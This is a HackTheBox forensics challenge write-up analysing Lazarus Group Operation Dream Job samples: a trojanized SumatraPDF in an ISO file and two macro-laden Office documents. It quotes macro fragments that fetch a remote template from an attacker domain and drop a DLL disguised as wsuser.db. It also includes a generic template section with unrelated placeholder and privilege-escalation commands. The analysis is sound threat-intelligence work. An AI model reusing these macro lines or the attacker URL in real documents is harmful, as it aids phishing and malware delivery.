HTBMediumForensics

Dream Job-2 Sherlock Scenario

D3v0o0Nu119/2/20266 min read

#forensics#htb#medium#mitre_attack_research#iso_forensic_analysis#pe_metadata_extraction#upx_packer_identification#vba_macro_extraction#ole_metadata_forensics#virustotal_osint#dll_dropper_analysis#shellcode_loader_analysis

Dream Job-2 Sherlock Scenario

Platform: HackTheBox | Category: Forensics | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-26 | Status: Solved Techniques: mitre_attack_research, iso_forensic_analysis, pe_metadata_extraction, upx_packer_identification, vba_macro_extraction, ole_metadata_forensics, virustotal_osint, dll_dropper_analysis, shellcode_loader_analysis

Summary

As a Threat Intelligence Analyst investigating Operation Dream Job, you have identified that the Lazarus Group utilized a variety of custom-built malware and tools to facilitate their operations. Your task is to analyze and gather intelligence on the malware utilized by this APT.

Recon

Port scan

 bash read-only • copy allowed
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Port	Service	Version	Notes
<PORT>	<SVC>	<VER>	<notes>

Enumeration highlights

Event: hackthebox | ID: 20260226_hackthebox_dream_job_2
Tags: lazarus_group, apt, threat_intelligence, mitre_attack, vba_macro, iso_malware, phishing, upx, pe_analysis, ole_metadata, virustotal, operation_dream_job, dratzarus, torisma
Indicators: Lazarus Group / Operation Dream Job phishing campaign, ISO file containing renamed executable (trojanized legitimate software), PE OriginalFilename differs from actual filename, UPX0/UPX1 section names in PE headers (UPX packing), VBA macro with Application.Documents.Open to remote URL
Source: 20260226_hackthebox_dream_job_2.md

Foothold

Vulnerability / Misconfiguration

mitre_attack_research
iso_forensic_analysis
pe_metadata_extraction
upx_packer_identification
vba_macro_extraction

 bash read-only • copy allowed
<command>

Exploitation

See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

 bash read-only • copy allowed
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

N/A for challenge-type writeup; see exploitation above.
Flag obtained via challenge solve.

 bash read-only • copy allowed
<command>

Flags

Flag	Location	Value
flag		`REDACTED`

Key Takeaways / Lessons

mitre_attack_research
iso_forensic_analysis
pe_metadata_extraction
upx_packer_identification
vba_macro_extraction
ole_metadata_forensics
virustotal_osint
dll_dropper_analysis
shellcode_loader_analysis
Tags: lazarus_group, apt, threat_intelligence, mitre_attack, vba_macro, iso_malware, phishing, upx, pe_analysis, ole_metadata, virustotal, operation_dream_job, dratzarus, torisma

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Files provided:

17.dotm — Malicious Word template with VBA macro
BAE_HPC_SE.iso — ISO file containing trojanized SumatraPDF
Salary_Lockheed_Martin_job_opportunities_confidential.doc — Phishing document with VBA macro
Password for inner ZIP: Dvn62WlNrt09

Analysis

This is a 13-task Sherlock scenario combining MITRE ATT&CK threat intelligence research, malware artifact forensics, and OSINT to investigate the Lazarus Group's Operation Dream Job campaign. The challenge requires analyzing two custom malware families (DRATzarus, Torisma) via MITRE ATT&CK, performing forensic analysis on an ISO-delivered trojanized executable, and extracting intelligence from malicious VBA macros in Office documents.

Attack Overview

Operation Dream Job is a Lazarus Group campaign targeting defense and aerospace employees with fake job offers. The attack chain:

Phishing — Victims receive documents like Salary_Lockheed_Martin_job_opportunities_confidential.doc with embedded VBA macros
Payload delivery — Macros fetch remote templates or drop DLLs; ISO files deliver trojanized legitimate software
Execution — Trojanized SumatraPDF (InternalViewer.exe), DLL sideloading via wsuser.db
C2 — Custom malware (DRATzarus, Torisma) with encrypted communications

Key Malware Families

Malware	MITRE ID	Key Trait
DRATzarus	S0694	Similar to Bankshot; uses `IsDebuggerPresent` for anti-debug
Torisma	S0678	C2 encrypted with XOR + VEST-32; packed with LZ4 compression

Solution

Part 1: MITRE ATT&CK Intelligence (Tasks 1-4)

Task 1: What previously known malware does DRATzarus share similarities with?

Answer: Bankshot

From MITRE ATT&CK page for DRATzarus (S0694): "DRATzarus shares similarities with Bankshot, which was used by Lazarus Group in 2017 to target the Turkish financial sector."

Task 2: Which Windows API function does DRATzarus use to detect a debugger?

Answer: IsDebuggerPresent

From S0694 under technique T1622 (Debugger Evasion): "DRATzarus can use IsDebuggerPresent to detect whether a debugger is present on a victim."

Task 3: Torisma encrypted its C2 communications using XOR and which other method?

Answer: VEST-32

From MITRE ATT&CK page for Torisma (S0678) under T1573.001 (Encrypted Channel: Symmetric Cryptography): "Torisma has encrypted its C2 communications using XOR and VEST-32."

Task 4: Which packing method has been used to obfuscate Torisma?

Answer: lz4 compression

From S0678 under T1027.002 (Software Packing): "Torisma has been packed with lz4 compression."

Note: On the MITRE page, "lz4" may render as "Iz4" due to font rendering — the lowercase 'l' looks like uppercase 'I'. This is the well-known LZ4 compression algorithm.

Part 2: ISO Forensic Analysis (Tasks 5-8)

Task 5: Identify the executable contained within the ISO file

Answer: InternalViewer.exe

 bash read-only • copy allowed
hdiutil mount BAE_HPC_SE.iso
ls -la /Volumes/BAE_HPC_SE/

Contents:

BAE_HPC_SE.pdf      (226,846 bytes — decoy PDF)
InternalViewer.exe  (10,507,264 bytes — PE32+ x86-64)

Task 6: What was the original name of the executable?

Answer: SumatraPDF.exe

 python read-only • copy allowed
import pefile

pe = pefile.PE("InternalViewer.exe")
for entry in pe.FileInfo[0]:
    if entry.Key == b'StringFileInfo':
        for st in entry.StringTable:
            for key, val in st.entries.items():
                print(f"{key.decode()}: {val.decode()}")

Output:

OriginalFilename: SumatraPDF.exe
ProductName: SumatraPDF
FileVersion: 3.2
CompanyName: Krzysztof Kowalczyk

Task 7: When was the EXE First Seen In The Wild on VirusTotal? (UTC)

Answer: 2020-08-13 08:44:50

 python read-only • copy allowed
import hashlib

with open("InternalViewer.exe", "rb") as f:
    sha256 = hashlib.sha256(f.read()).hexdigest()
# SHA256: adce894e3ce69c9822da57196707c7a15acee11319ccc963b84d83c23c3ea802

Queried VirusTotal API — first_seen_itw_date field returned 2020-08-13 08:44:50 UTC.

Additional VT info:

first_submission_date: 2020-06-05 09:20:22
PE compilation timestamp: 2020-05-12 19:26:17
Classification: trojan.nukesped/lazarus

Task 8: What packer was used to pack the executable? (Full name)

Answer: Ultimate Packer for eXecutables

PE section analysis reveals characteristic UPX sections:

Section   VirtualSize   RawSize
UPX0      34,689,024    0          (empty — decompression target)
UPX1      10,465,280    10,463,744 (compressed code)
.rsrc     45,056        42,496     (resources)

The pattern of UPX0 with zero raw size and UPX1 containing the compressed payload is the signature of UPX — Ultimate Packer for eXecutables.

Part 3: VBA Macro Analysis — Salary Document (Tasks 9-11)

Task 9: What is the full URL found within the macro?

Answer: https://markettrendingcenter.com/lk_job_oppor.docx

 bash read-only • copy allowed
python3 -m oletools.olevba Salary_Lockheed_Martin_job_opportunities_confidential.doc

In the Frame1_Layout() subroutine:

 vba read-only • copy allowed
Application.Documents.Open ("https://markettrendingcenter.com/lk_job_oppor.docx")

The macro also contained:

Heavy shellcode (Base64-encoded in MediaSection array)
WMVCORE.DLL loading
API calls: VirtualProtect, memcpy, NtQueryInformationProcess
In-memory code execution capability

Task 10: Who is the author of the document?

Answer: Mickey

 bash read-only • copy allowed
exiftool Salary_Lockheed_Martin_job_opportunities_confidential.doc

Output: Author: Mickey

Task 11: Who last modified the document?

Answer: Challenger

From exiftool output:

Last Modified By: Challenger
Last Saved Date: 2021-10-18 13:06:00
Revision Number: 83

Part 4: VBA Macro Analysis — 17.dotm (Tasks 12-13)

Task 12: What is the directory where a suspicious folder was created?

Answer: \AppData\Local\Microsoft\Notice

 bash read-only • copy allowed
python3 -m oletools.olevba 17.dotm

In the GetDllName() function (Module1.bas):

 vba read-only • copy allowed
workDir = Environ("UserProfile") & "\AppData\Local\Microsoft\Notice"
If Not FolderExist(workDir) Then
    MkDir (workDir)
End If

Task 13: Which suspicious file was checked for existence in that directory?

Answer: wsuser.db

In the same GetDllName() function:

 vba read-only • copy allowed
binName = "wsuser.db"
dllPath = workDir & "\" & binName
Do While FileExist(dllPath)
    ...
Loop

The full attack chain in this macro:

Creates \AppData\Local\Microsoft\Notice\ directory
Checks if wsuser.db exists
Extracts a DLL payload (Base64-decoded from UserForm1 labels)
Saves it as wsuser.db (DLL disguised as SQLite database)
Loads via LoadLibraryA
Calls exported function sqlite3_stmt_all — a malicious export masquerading as a legitimate SQLite function

</details>

signed by XESXOR